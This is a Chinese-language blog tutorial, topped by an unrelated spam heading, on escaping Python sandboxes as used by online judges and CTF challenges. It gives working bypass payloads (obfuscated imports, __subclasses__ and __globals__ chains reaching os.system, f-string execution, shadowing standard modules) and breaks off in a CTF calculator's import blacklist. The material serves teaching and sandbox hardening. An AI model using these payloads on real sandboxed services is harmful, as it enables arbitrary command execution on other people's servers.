自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

一文看懂Python沙箱逃逸

安全 網(wǎng)站安全
沙箱經(jīng)常會禁用一些敏感的函數(shù),例如 os,研究怎么逃逸、防護這類沙箱還是蠻有意思的。

讓用戶提交 Python 代碼并在服務(wù)器上執(zhí)行,是一些 OJ、量化網(wǎng)站重要的服務(wù),很多 CTF 也有類似的題。為了不讓惡意用戶執(zhí)行任意的 Python 代碼,就需要確保 Python 運行在沙箱中。沙箱經(jīng)常會禁用一些敏感的函數(shù),例如 os,研究怎么逃逸、防護這類沙箱還是蠻有意思的。

[[265993]]

前言

Python 的沙箱逃逸的最終目標就是執(zhí)行系統(tǒng)任意命令,次一點的寫文件,再次一點的讀文件。

順便安利一本書:《流暢的 Python》。這本書有很多中高階知識點,很全面而且講的很清楚,如果你看過,相信理解這篇文章的大多數(shù)內(nèi)容都不是問題。

接下來的內(nèi)容先講系統(tǒng)命令執(zhí)行,再講文件寫入、讀取,并且均以 oj 為例,庫大多以 os 為例。

一、執(zhí)行系統(tǒng)命令

1. 基礎(chǔ)知識

先啰嗦一些基礎(chǔ)知識

在 Python 中執(zhí)行系統(tǒng)命令的方式有:

  1. os  
  2. commands:僅限2.x  
  3. subprocess  
  4. timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1 
  5. platform:platform.os、platform.sys、platform.popen('whoami', mode='r'bufsize=-1).read()  
  6. pty:pty.spawn('ls')、pty.os  
  7. bdb:bdb.os、cgi.sys  
  8. cgi:cgi.os、cgi.sys  
  9. … 

我寫了一個腳本,測試了一下所有的導(dǎo)入 os 或者 sys 的庫:

  1. #-*- coding:utf8 -*- 
  2. # By Macr0phag3 
  3. # in 2019-05-07 19:46:12 
  4. # ------------------------------------ 
  5.  
  6. # this, antigravity 庫刪掉 
  7. all_modules_2 = [ 
  8.     'BaseHTTPServer', 'imaplib', 'shelve', 'Bastion', 'anydbm', 'imghdr', 'shlex', 'CDROM', 'argparse', 'imp', 'shutil', 'CGIHTTPServer', 'array', 'importlib', 'signal', 'Canvas', 'ast', 'imputil', 'site', 'ConfigParser', 'asynchat', 'inspect', 'sitecustomize', 'Cookie', 'asyncore', 'io', 'smtpd', 'DLFCN', 'atexit', 'itertools', 'smtplib', 'Dialog', 'audiodev', 'json', 'sndhdr', 'DocXMLRPCServer', 'audioop', 'keyword', 'socket', 'FileDialog', 'base64', 'lib2to3', 'spwd', 'FixTk', 'bdb', 'linecache', 'sqlite3', 'HTMLParser', 'binascii', 'linuxaudiodev', 'sre', 'IN', 'binhex', 'locale', 'sre_compile', 'MimeWriter', 'bisect', 'logging', 'sre_constants', 'Queue', 'bsddb', 'lsb_release', 'sre_parse', 'ScrolledText', 'bz2', 'macpath', 'ssl', 'SimpleDialog', 'cPickle', 'macurl2path', 'stat', 'SimpleHTTPServer', 'cProfile', 'mailbox', 'statvfs', 'SimpleXMLRPCServer', 'cStringIO', 'mailcap', 'string', 'SocketServer', 'calendar', 'markupbase', 'stringold', 'StringIO', 'cgi', 'marshal', 'stringprep', 'TYPES', 'cgitb', 'math', 'strop', 'Tix', 'chunk', 'md5', 'struct', 'Tkconstants', 'cmath', 'mhlib', 'subprocess', 'Tkdnd', 'cmd', 'mimetools', 'sunau', 'Tkinter', 'code', 'mimetypes', 'sunaudio', 'UserDict', 'codecs', 'mimify', 'symbol', 'UserList', 'codeop', 'mmap', 'symtable', 'UserString', 'collections', 'modulefinder', 'sys', '_LWPCookieJar', 'colorsys', 'multifile', 'sysconfig', '_MozillaCookieJar', 'commands', 'multiprocessing', 'syslog', '__builtin__', 'compileall', 'mutex', 'tabnanny', '__future__', 'compiler', 'netrc', 'talloc', '_abcoll', 'contextlib', 'new', 'tarfile', '_ast', 'cookielib', 'nis', 'telnetlib', '_bisect', 'copy', 'nntplib', 'tempfile', '_bsddb', 'copy_reg', 'ntpath', 'termios', '_codecs', 'crypt', 'nturl2path', 'test', '_codecs_cn', 'csv', 'numbers', 'textwrap', '_codecs_hk', 'ctypes', 'opcode', '_codecs_iso2022', 'curses', 'operator', 'thread', '_codecs_jp', 'datetime', 'optparse', 'threading', '_codecs_kr', 'dbhash', 'os', 'time', '_codecs_tw', 'dbm', 'os2emxpath', 'timeit', '_collections', 'decimal', 'ossaudiodev', 'tkColorChooser', '_csv', 'difflib', 'parser', 'tkCommonDialog', '_ctypes', 'dircache', 'pdb', 'tkFileDialog', '_ctypes_test', 'dis', 'pickle', 'tkFont', '_curses', 'distutils', 'pickletools', 'tkMessageBox', '_curses_panel', 'doctest', 'pipes', 'tkSimpleDialog', '_elementtree', 'dumbdbm', 'pkgutil', 'toaiff', '_functools', 'dummy_thread', 'platform', 'token', '_hashlib', 'dummy_threading', 'plistlib', 'tokenize', '_heapq', 'email', 'popen2', 'trace', '_hotshot', 'encodings', 'poplib', 'traceback', '_io', 'ensurepip', 'posix', 'ttk', '_json', 'errno', 'posixfile', 'tty', '_locale', 'exceptions', 'posixpath', 'turtle', '_lsprof', 'fcntl', 'pprint', 'types', '_md5', 'filecmp', 'profile', 'unicodedata', '_multibytecodec', 'fileinput', 'pstats', 'unittest', '_multiprocessing', 'fnmatch', 'pty', 'urllib', '_osx_support', 'formatter', 'pwd', 'urllib2', '_pyio', 'fpformat', 'py_compile', 'urlparse', '_random', 'fractions', 'pyclbr', 'user', '_sha', 'ftplib', 'pydoc', 'uu', '_sha256', 'functools', 'pydoc_data', 'uuid', '_sha512', 'future_builtins', 'pyexpat', 'warnings', '_socket', 'gc', 'quopri', 'wave', '_sqlite3', 'genericpath', 'random', 'weakref', '_sre', 'getopt', 're', 'webbrowser', '_ssl', 'getpass', 'readline', 'whichdb', '_strptime', 'gettext', 'repr', 'wsgiref', '_struct', 'glob', 'resource', 'xdrlib', '_symtable', 'grp', 'rexec', 'xml', '_sysconfigdata', 'gzip', 'rfc822', 'xmllib', '_sysconfigdata_nd', 'hashlib', 'rlcompleter', 'xmlrpclib', '_testcapi', 'heapq', 'robotparser', 'xxsubtype', '_threading_local', 'hmac', 'runpy', 'zipfile', '_warnings', 'hotshot', 'sched', 'zipimport', '_weakref', 'htmlentitydefs', 'select', 'zlib', '_weakrefset', 'htmllib', 'sets', 'abc', 'httplib', 'sgmllib', 'aifc', 'ihooks', 'sha' 
  9.  
  10. all_modules_3 = [ 
  11.     'AptUrl', 'hmac', 'requests_unixsocket', 'CommandNotFound', 'apport', 'hpmudext', 'resource', 'Crypto', 'apport_python_hook', 'html', 'rlcompleter', 'DistUpgrade', 'apt', 'http', 'runpy', 'HweSupportStatus', 'apt_inst', 'httplib2', 'scanext', 'LanguageSelector', 'apt_pkg', 'idna', 'sched', 'NvidiaDetector', 'aptdaemon', 'imaplib', 'secrets', 'PIL', 'aptsources', 'imghdr', 'secretstorage', 'Quirks', 'argparse', 'imp', 'select', 'UbuntuDrivers', 'array', 'importlib', 'selectors', 'UbuntuSystemService', 'asn1crypto', 'inspect', 'shelve', 'UpdateManager', 'ast', 'io', 'shlex', '__future__', 'asynchat', 'ipaddress', 'shutil', '_ast', 'asyncio', 'itertools', 'signal', '_asyncio', 'asyncore', 'janitor', 'simplejson', '_bisect', 'atexit', 'json', 'site', '_blake2', 'audioop', 'keyring', 'sitecustomize', '_bootlocale', 'base64', 'keyword', 'six', '_bz2', 'bdb', 'language_support_pkgs', 'smtpd', '_cffi_backend', 'binascii', 'launchpadlib', 'smtplib', '_codecs', 'binhex', 'linecache', 'sndhdr', '_codecs_cn', 'bisect', 'locale', 'socket', '_codecs_hk', 'brlapi', 'logging', 'socketserver', '_codecs_iso2022', 'builtins', 'louis', 'softwareproperties', '_codecs_jp', 'bz2', 'lsb_release', 'speechd', '_codecs_kr', 'cProfile', 'lzma', 'speechd_config', '_codecs_tw', 'cairo', 'macaroonbakery', 'spwd', '_collections', 'calendar', 'macpath', 'sqlite3', '_collections_abc', 'certifi', 'macurl2path', 'sre_compile', '_compat_pickle', 'cgi', 'mailbox', 'sre_constants', '_compression', 'cgitb', 'mailcap', 'sre_parse', '_crypt', 'chardet', 'mako', 'ssl', '_csv', 'chunk', 'markupsafe', 'stat', '_ctypes', 'cmath', 'marshal', 'statistics', '_ctypes_test', 'cmd', 'math', 'string', '_curses', 'code', 'mimetypes', 'stringprep', '_curses_panel', 'codecs', 'mmap', 'struct', '_datetime', 'codeop', 'modual_test', 'subprocess', '_dbm', 'collections', 'modulefinder', 'sunau', '_dbus_bindings', 'colorsys', 'multiprocessing', 'symbol', '_dbus_glib_bindings', 'compileall', 'nacl', 'symtable', '_decimal', 'concurrent', 'netrc', 'sys', '_dummy_thread', 'configparser', 'nis', 'sysconfig', '_elementtree', 'contextlib', 'nntplib', 'syslog', '_functools', 'copy', 'ntpath', 'systemd', '_gdbm', 'copyreg', 'nturl2path', 'tabnanny', '_hashlib', 'crypt', 'numbers', 'tarfile', '_heapq', 'cryptography', 'oauth', 'telnetlib', '_imp', 'csv', 'olefile', 'tempfile', '_io', 'ctypes', 'opcode', 'termios', '_json', 'cups', 'operator', 'test', '_locale', 'cupsext', 'optparse', 'textwrap', '_lsprof', 'cupshelpers', 'orca', '_lzma', 'curses', 'os', 'threading', '_markupbase', 'datetime', 'ossaudiodev', 'time', '_md5', 'dbm', 'parser', 'timeit', '_multibytecodec', 'dbus', 'pathlib', 'token', '_multiprocessing', 'deb822', 'pcardext', 'tokenize', '_opcode', 'debconf', 'pdb', 'trace', '_operator', 'debian', 'pexpect', 'traceback', '_osx_support', 'debian_bundle', 'pickle', 'tracemalloc', '_pickle', 'decimal', 'pickletools', 'tty', '_posixsubprocess', 'defer', 'pipes', 'turtle', '_pydecimal', 'difflib', 'pkg_resources', 'types', '_pyio', 'dis', 'pkgutil', 'typing', '_random', 'distro_info', 'platform', 'ufw', '_sha1', 'distro_info_test', 'plistlib', 'unicodedata', '_sha256', 'distutils', 'poplib', 'unittest', '_sha3', 'doctest', 'posix', 'urllib', '_sha512', 'dummy_threading', 'posixpath', 'urllib3', '_signal', 'email', 'pprint', 'usbcreator', '_sitebuiltins', 'encodings', 'problem_report', 'uu', '_socket', 'enum', 'profile', 'uuid', '_sqlite3', 'errno', 'pstats', 'venv', '_sre', 'faulthandler', 'pty', 'wadllib', '_ssl', 'fcntl', 'ptyprocess', 'warnings', '_stat', 'filecmp', 'pwd', 'wave', '_string', 'fileinput', 'py_compile', 'weakref', '_strptime', 'fnmatch', 'pyatspi', 'webbrowser', '_struct', 'formatter', 'pyclbr', 'wsgiref', '_symtable', 'fractions', 'pydoc', 'xdg', '_sysconfigdata_m_linux_x86_64-linux-gnu', 'ftplib', 'pydoc_data', 'xdrlib', '_testbuffer', 'functools', 'pyexpat', 'xkit', '_testcapi', 'gc', 'pygtkcompat', 'xml', '_testimportmultiple', 'genericpath', 'pymacaroons', 'xmlrpc', '_testmultiphase', 'getopt', 'pyrfc3339', 'xxlimited', '_thread', 'getpass', 'pytz', 'xxsubtype', '_threading_local', 'gettext', 'queue', 'yaml', '_tracemalloc', 'gi', 'quopri', 'zipapp', '_warnings', 'glob', 'random', 'zipfile', '_weakref', 'grp', 're', 'zipimport', '_weakrefset', 'gtweak', 'readline', 'zlib', '_yaml', 'gzip', 'reportlab', 'zope', 'abc', 'hashlib', 'reprlib', 'aifc', 'heapq' 
  12.  
  13. methods = ['os', 'sys', '__builtins__'] 
  14.  
  15. results = {} 
  16. for module in all_modules_3: 
  17.     results[module] = { 
  18.         'flag': 0, 
  19.         'result': {} 
  20.     } 
  21.  
  22.     try: 
  23.         m = __import__(module) 
  24.         attrs = dir(m) 
  25.         for method in methods: 
  26.             if method in attrs: 
  27.                 result = 'yes' 
  28.                 results[module]['flag'] = 1 
  29.             else: 
  30.                 result = 'no' 
  31.  
  32.             results[module]['result'][method] = result 
  33.  
  34.     except Exception as e: 
  35.         print(e) 
  36.  
  37. for result in results: 
  38.     if results[result]['flag']: 
  39.         print('[+]' + result) 
  40.         for r in results[result]['result']: 
  41.             print('  [-]' + r + ': ' + results[result]['result'][r]) 

all_modules_2就是 2.x 的標準庫,all_modules_3 就是 3.x 的標準庫。

結(jié)果相當(dāng)多,這里就不貼了。這里注意一下,這個文件別命名為 test.py,如果命名為 test 會怎么樣呢?可以先猜一猜,后面會給解釋。

如果 oj 支持 import 的話,這些庫都是高危的,放任不管基本上是坐等被日。所以為了避免過濾不完善導(dǎo)致各種問題,在 Python 沙箱套一層 docker 肯定不會是壞事。

2. 花式 import

首先,禁用 import os 肯定是不行的,因為

  1. import  os 
  2. import   os 
  3. import    os 
  4. ... 

都可以。如果多個空格也過濾了,Python 能夠 import 的可不止 import,還有 __import__:__import__('os'),__import__被干了還有 importlib:importlib.import_module('os').system('ls')

這樣就安全了嗎?實際上import可以通過其他方式完成?;叵胍幌?import 的原理,本質(zhì)上就是執(zhí)行一遍導(dǎo)入的庫。這個過程實際上可以用 execfile 來代替:

  1. execfile('/usr/lib/python2.7/os.py') 
  2. system('ls') 

不過要注意,2.x 才能用,3.x 刪了 execfile,不過可以這樣:

  1. with open('/usr/lib/python3.6/os.py','r') as f: 
  2.     exec(f.read()) 
  3. system('ls') 

這個方法倒是 2.x、3.x 通用的。

不過要使用上面的這兩種方法,就必須知道庫的路徑。其實在大多數(shù)的環(huán)境下,庫都是默認路徑。如果 sys 沒被干掉的話,還可以確認一下,:

  1. import sys 
  2. print(sys.path) 

3. 花式處理字符串

代碼中要是出現(xiàn) os,直接不讓運行。那么可以利用字符串的各種變化來引入 os:

  1. __import__('so'[::-1]).system('ls') 
  1. b = 'o' 
  2. a = 's' 
  3. __import__(a+b).system('ls') 

還可以利用 eval 或者 exec:

  1. >>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1]) 
  2. macr0phag3 
  3. >>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1]) 
  4. macr0phag3 

順便說一下,eval、exec 都是相當(dāng)危險的函數(shù),exec 比 eval 還要危險,它們一定要過濾,因為字符串有很多變形的方式,對字符串的處理可以有:逆序、變量拼接、base64、hex、rot13…等等,太多了。。。

4. 恢復(fù) sys.modules

sys.modules 是一個字典,里面儲存了加載過的模塊信息。如果 Python 是剛啟動的話,所列出的模塊就是解釋器在啟動時自動加載的模塊。有些庫例如 os 是默認被加載進來的,但是不能直接使用,原因在于 sys.modules 中未經(jīng) import 加載的模塊對當(dāng)前空間是不可見的。

如果將 os 從 sys.modules 中剔除,os 就徹底沒法用了:

  1. >>> sys.modules['os'] = 'not allowed' 
  2. >>> import os 
  3. >>> os.system('ls') 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'str' object has no attribute 'system' 
  7. >>> 

注意,這里不能用 del sys.modules['os'],因為,當(dāng) import 一個模塊時:import A,檢查 sys.modules 中是否已經(jīng)有 A,如果有則不加載,如果沒有則為 A 創(chuàng)建 module 對象,并加載 A。

所以刪了 sys.modules['os'] 只會讓 Python 重新加載一次 os。

看到這你肯定發(fā)現(xiàn)了,對于上面的過濾方式,繞過的方式可以是這樣:

  1. sys.modules['os'] = 'not allowed' # oj 為你加的 
  2.  
  3. del sys.modules['os'] 
  4. import os 
  5. os.system('ls') 

還有一種利用 __builtins__ 導(dǎo)入的方式,下面會詳細說。

5. 花式執(zhí)行函數(shù)

通過上面內(nèi)容我們很容易發(fā)現(xiàn),光引入 os 只不過是開始,如果把 system 這個函數(shù)干掉,也沒法通過os.system執(zhí)行系統(tǒng)命令,并且這里的system也不是字符串,也沒法直接做編碼等等操作。我遇到過一個環(huán)境,直接在/usr/lib/python2.7/os.py中刪了system函數(shù)。。。

不過,要明確的是,os 中能夠執(zhí)行系統(tǒng)命令的函數(shù)有很多:

  1. print(os.system('whoami')) 
  2. print(os.popen('whoami').read())  
  3. print(os.popen2('whoami').read()) # 2.x 
  4. print(os.popen3('whoami').read()) # 2.x 
  5. print(os.popen4('whoami').read()) # 2.x 
  6. ... 

應(yīng)該還有一些,可以在這里找找:

過濾system的時候說不定還有其他函數(shù)給漏了。

其次,可以通過 getattr 拿到對象的方法、屬性:

  1. import os 
  2. getattr(os, 'metsys'[::-1])('whoami') 

不讓出現(xiàn) import也沒事:

  1. >>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami') 
  2. macr0phag3 

一樣可以。這個方法同樣可以用于逃逸過濾 import 的沙箱。關(guān)于 __builtins__,見下文。

與 getattr 相似的還有 __getattr__、__getattribute__,它們自己的區(qū)別就是getattr相當(dāng)于class.attr,都是獲取類屬性/方法的一種方式,在獲取的時候會觸發(fā)__getattribute__,如果__getattribute__找不到,則觸發(fā)__getattr__,還找不到則報錯。更具體的這里就不解釋了,有興趣的話可以搜搜。

6. builtins、builtin與builtins

先說一下,builtin、builtins,__builtin__與__builtins__的區(qū)別:首先我們知道,在 Python 中,有很多函數(shù)不需要任何 import 就可以直接使用,例如chr、open。之所以可以這樣,是因為 Python 有個叫內(nèi)建模塊(或者叫內(nèi)建命名空間)的東西,它有一些常用函數(shù),變量和類。順便說一下,Python 對函數(shù)、變量、類等等的查找方式是按 LEGB 規(guī)則來找的,其中 B 即代表內(nèi)建模塊,這里也不再贅述了,有興趣的搜搜就明白了。

在 2.x 版本中,內(nèi)建模塊被命名為 __builtin__,到了 3.x 就成了 builtins。它們都需要 import 才能查看:

2.x:

  1. >>> import __builtin__ 
  2. >>> __builtin__ 
  3. <module '__builtin__' (built-in)> 

3.x:

  1. >>> import builtins 
  2. >>> builtins 
  3. <module 'builtins' (built-in)> 

但是,__builtins__ 兩者都有,實際上是__builtin__和builtins 的引用。它不需要導(dǎo)入,我估計是為了統(tǒng)一 2.x 和 3.x。不過__builtins__與__builtin__和builtins是有一點區(qū)別的,感興趣的話建議查一下,這里就不啰嗦了。不管怎么樣,__builtins__ 相對實用一點,并且在 __builtins__里有很多好東西:

  1. >>> '__import__' in dir(__builtins__) 
  2. True 
  3. >>> __builtins__.__dict__['__import__']('os').system('whoami') 
  4. macr0phag3 
  5. >>> 'eval' in dir(__builtins__) 
  6. True 
  7. >>> 'execfile' in dir(__builtins__) 
  8. True 

那么既然__builtins__有這么多危險的函數(shù),不如將里面的危險函數(shù)破壞了:

  1. __builtins__.__dict__['eval'] = 'not allowed' 

或者直接刪了:

  1. del __builtins__.__dict__['eval'] 

但是我們可以利用 reload(__builtins__) 來恢復(fù) __builtins__。不過,我們在使用 reload 的時候也沒導(dǎo)入,說明reload也在 __builtins__里,那如果連reload都從__builtins__中刪了,就沒法恢復(fù)__builtins__了,需要另尋他法。還有一種情況是利用 exec command in _global 動態(tài)運行語句時的繞過,比如實現(xiàn)一個計算器的時候,下面有給出例子。

這里注意,2.x 的 reload 是內(nèi)建的,3.x 需要 import imp,然后再 imp.reload。你看,reload 的參數(shù)是 module,所以肯定還能用于重新載入其他模塊,這個放在下面說。

7. 通過繼承關(guān)系逃逸

在 Python 中提到繼承就不得不提 mro,mro就是方法解析順序,因為 Python 支持多重繼承,所以就必須有個方式判斷某個方法到底是 A 的還是 B 的。2.2 之前是經(jīng)典類,搜索是深度優(yōu)先;經(jīng)典類后來發(fā)展為新式類,使用廣度優(yōu)先搜索,再后來新式類的搜索變?yōu)?C3 算法;而 3.x 中新式類一統(tǒng)江湖,默認繼承 object,當(dāng)然也是使用的 C3 搜索算法。。。扯遠了扯遠了,感興趣的可以搜搜。不管怎么說,總是讓人去判斷繼承關(guān)系顯然是反人類的,所以 Python 中新式類都有個屬性,叫__mro__,是個元組,記錄了繼承關(guān)系:

  1. >>> ''.__class__.__mro__ 
  2. (<class 'str'><class 'object'>

類的實例在獲取 __class__ 屬性時會指向該實例對應(yīng)的類??梢钥吹?,''屬于 str類,它繼承了 object 類,這個類是所有類的超類。具有相同功能的還有__base__和__bases__。需要注意的是,經(jīng)典類需要指明繼承 object 才會繼承它,否則是不會繼承的:

  1. >>> class test: 
  2. ...     pass 
  3. ... 
  4. >>> test.__bases__ 
  5. >>> class test(object): 
  6. ...     pass 
  7. ... 
  8. >>> test.__bases__ 
  9. (<type 'object'>,) 

那么知道這個有什么用呢?

由于沒法直接引入 os,那么假如有個庫叫oos,在oos中引入了os,那么我們就可以通過__globals__拿到 os(__globals__是函數(shù)所在的全局命名空間中所定義的全局變量)。例如,site 這個庫就有 os:

  1. >>> import site 
  2. >>> site.os 
  3. <module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'> 

也就是說,能引入 site 的話,就相當(dāng)于有 os。那如果 site 也被禁用了呢?沒事,本來也就沒打算直接 import site。可以利用 reload,變相加載 os:

  1. >>> import site 
  2. >>> os 
  3. Traceback (most recent call last): 
  4.   File "<stdin>", line 1, in <module> 
  5. NameError: name 'os' is not defined 
  6. >>> os = reload(site.os) 
  7. >>> os.system('whoami') 
  8. macr0phag3 

還有,既然所有的類都繼承的object,那么我們先用__subclasses__看看它的子類,以 2.x 為例:

  1. >>> for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i 
  2. ... 
  3. (0, <type 'type'>
  4. (1, <type 'weakref'>
  5. (2, <type 'weakcallableproxy'>
  6. (3, <type 'weakproxy'>
  7. (4, <type 'int'>
  8. (5, <type 'basestring'>
  9. (6, <type 'bytearray'>
  10. (7, <type 'list'>
  11. (8, <type 'NoneType'>
  12. (9, <type 'NotImplementedType'>
  13. (10, <type 'traceback'>
  14. (11, <type 'super'>
  15. (12, <type 'xrange'>
  16. (13, <type 'dict'>
  17. (14, <type 'set'>
  18. (15, <type 'slice'>
  19. (16, <type 'staticmethod'>
  20. (17, <type 'complex'>
  21. (18, <type 'float'>
  22. (19, <type 'buffer'>
  23. (20, <type 'long'>
  24. (21, <type 'frozenset'>
  25. (22, <type 'property'>
  26. (23, <type 'memoryview'>
  27. (24, <type 'tuple'>
  28. (25, <type 'enumerate'>
  29. (26, <type 'reversed'>
  30. (27, <type 'code'>
  31. (28, <type 'frame'>
  32. (29, <type 'builtin_function_or_method'>
  33. (30, <type 'instancemethod'>
  34. (31, <type 'function'>
  35. (32, <type 'classobj'>
  36. (33, <type 'dictproxy'>
  37. (34, <type 'generator'>
  38. (35, <type 'getset_descriptor'>
  39. (36, <type 'wrapper_descriptor'>
  40. (37, <type 'instance'>
  41. (38, <type 'ellipsis'>
  42. (39, <type 'member_descriptor'>
  43. (40, <type 'file'>
  44. (41, <type 'PyCapsule'>
  45. (42, <type 'cell'>
  46. (43, <type 'callable-iterator'>
  47. (44, <type 'iterator'>
  48. (45, <type 'sys.long_info'>
  49. (46, <type 'sys.float_info'>
  50. (47, <type 'EncodingMap'>
  51. (48, <type 'fieldnameiterator'>
  52. (49, <type 'formatteriterator'>
  53. (50, <type 'sys.version_info'>
  54. (51, <type 'sys.flags'>
  55. (52, <type 'exceptions.BaseException'>
  56. (53, <type 'module'>
  57. (54, <type 'imp.NullImporter'>
  58. (55, <type 'zipimport.zipimporter'>
  59. (56, <type 'posix.stat_result'>
  60. (57, <type 'posix.statvfs_result'>
  61. (58, <class 'warnings.WarningMessage'>
  62. (59, <class 'warnings.catch_warnings'>
  63. (60, <class '_weakrefset._IterationGuard'>
  64. (61, <class '_weakrefset.WeakSet'>
  65. (62, <class '_abcoll.Hashable'>
  66. (63, <type 'classmethod'>
  67. (64, <class '_abcoll.Iterable'>
  68. (65, <class '_abcoll.Sized'>
  69. (66, <class '_abcoll.Container'>
  70. (67, <class '_abcoll.Callable'>
  71. (68, <type 'dict_keys'>
  72. (69, <type 'dict_items'>
  73. (70, <type 'dict_values'>
  74. (71, <class 'site._Printer'>
  75. (72, <class 'site._Helper'>
  76. (73, <type '_sre.SRE_Pattern'>
  77. (74, <type '_sre.SRE_Match'>
  78. (75, <type '_sre.SRE_Scanner'>
  79. (76, <class 'site.Quitter'>
  80. (77, <class 'codecs.IncrementalEncoder'>
  81. (78, <class 'codecs.IncrementalDecoder'>

可以看到,site 就在里面,以 2.x 的site._Printer為例:

  1. >>> ''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os'] 
  2. <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 

os 又回來了。并且 site 中還有 __builtins__。

這個方法不僅限于 A->os,還闊以是 A->B->os,比如 2.x 中的 warnings:

  1. >>> import warnings 
  2. >>>  
  3. >>> warnings.os 
  4. Traceback (most recent call last): 
  5.   File "<stdin>", line 1, in <module> 
  6. AttributeError: 'module' object has no attribute 'os' 
  7. >>>  
  8. >>> warnings.linecache 
  9. <module 'linecache' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/linecache.pyc'> 
  10. >>> 
  11. >>> warnings.linecache.os 
  12. <module 'os' from '/Users/macr0phag3/.pyenv/versions/2.7.15/lib/python2.7/os.pyc'> 

在繼承鏈中就可以這樣:

  1. >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami') 
  2. macr0phag3 

順便說一下,warnings這個庫中有個函數(shù):warnings.catch_warnings,它有個_module屬性:

  1. def __init__(self, record=Falsemodule=None): 
  2.  
  3.     self._module = sys.modules['warnings'] if module is None else module 

所以通過_module也可以構(gòu)造 payload:

  1. >>> [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami') 
  2. macr0phag3 

3.x 中的warnings雖然沒有 linecache,也有__builtins__。

同樣,py3.x 中有,利用方式可以為:

  1. >>> ''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['system']('whoami') 
  2. macr0phag3 

順便提一下,object 本來就是可以使用的,如果沒過濾這個變量的話,payload 可以簡化為:

  1. object.__subclasses__()[117].__init__.__globals__['system']('whoami') 

還有一種是利用builtin_function_or_method 的 __call__:

  1. "".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, '1+1') 

或者簡單一點:

  1. [].__getattribute__('append').__class__.__call__(eval, '1+1') 

還可以這樣利用:

  1. class test(dict): 
  2.     def __init__(self): 
  3.         print(super(test, self).keys.__class__.__call__(eval, '1+1')) 
  4.         # 如果是 3.x 的話可以簡寫為: 
  5.         # super().keys.__class__.__call__(eval, '1+1')) 
  6. test() 

上面的這些利用方式總結(jié)起來就是通過__class__、__mro__、__subclasses__、__bases__等等屬性/方法去獲取 object,再根據(jù)__globals__找引入的__builtins__或者eval等等能夠直接被利用的庫,或者找到builtin_function_or_method類/類型__call__后直接運行eval。

繼承鏈的逃逸還有一些利用第三方庫的方式,比如 jinja2,這類利用方式應(yīng)該是叫 SSTI,可以看這個:傳送門,這里就不多說了。

二、文件讀寫

2.x 有個內(nèi)建的 file:

  1. >>> file('key').read() 
  2. 'Macr0phag3\n' 
  3. >>> file('key', 'w').write('Macr0phag3') 
  4. >>> file('key').read() 
  5. 'Macr0phag3' 

還有個 open,2.x 與 3.x 通用。

還有一些庫,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)。

為什么說寫比讀危害大呢?因為如果能寫,可以將類似的文件保存為math.py,然后 import 進來:

math.py:

  1. import os  
  2. print(os.system('whoami')) 

調(diào)用

  1. >>> import math 
  2. macr0phag3 

這里需要注意的是,這里 py 文件命名是有技巧的。之所以要挑一個常用的標準庫是因為過濾庫名可能采用的是白名單。并且之前說過有些庫是在sys.modules中有的,這些庫無法這樣利用,會直接從sys.modules中加入,比如re:

  1. >>> 're' in sys.modules 
  2. True 
  3. >>> 'math' in sys.modules 
  4. False 
  5. >>> 

當(dāng)然在import re 之前del sys.modules['re']也不是不可以…

這里的文件命名需要注意的地方和最開始的那個遍歷測試的文件一樣:由于待測試的庫中有個叫 test的,如果把遍歷測試的文件也命名為 test,會導(dǎo)致那個文件運行 2 次,因為自己 import 了自己。

讀文件暫時沒什么發(fā)現(xiàn)特別的地方。

剩下的就是根據(jù)上面的執(zhí)行系統(tǒng)命令采用的繞過方法去尋找 payload 了,比如:

  1. >>> __builtins__.open('key').read() 
  2. 'Macr0phag3\n' 

或者

  1. >>> ().__class__.__base__.__subclasses__()[40]('key').read() 
  2. 'Macr0phag3' 

三、其他

過濾[、]:這個行為不像是 oj 會做得出來的,ctf 倒是有可能出現(xiàn)。應(yīng)對的方式就是將[]的功能用pop 、__getitem__代替(實際上a[0]就是在內(nèi)部調(diào)用了a.__getitem__(0) ):

  1. >>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read() 
  2. 'macr0phag3\n' 

利用新特性:PEP 498 引入了 f-string,在 3.6 開始出現(xiàn):傳送門,食用方式:傳送門。所以我們就有了一種船新的利用方式:

  1. >>> f'{__import__("os").system("whoami")}' 
  2. macr0phag3 
  3. '0' 

關(guān)注每次版本增加的新特性,或許能淘到點寶貝。

序列化相關(guān):序列化也是能用來逃逸,但是關(guān)于序列化的安全問題還挺多的,如果有時間我再寫一篇文章來討論好了。

四、栗子

這個例子來自iscc 2016的Pwn300 pycalc,相當(dāng)有趣:

  1. #!/usr/bin/env python2 
  2. # -*- coding:utf-8 -*- 
  3.  
  4. def banner(): 
  5.     print "=============================================" 
  6.     print "   Simple calculator implemented by python   " 
  7.     print "=============================================" 
  8.     return 
  9.  
  10. def getexp(): 
  11.     return raw_input(">>> ") 
  12.  
  13. def _hook_import_(name, *args, **kwargs): 
  14.     module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi', 
  15.                         'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache', 
  16.                         'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip', 
  17.                         'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil', 
  18.                         'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools', 
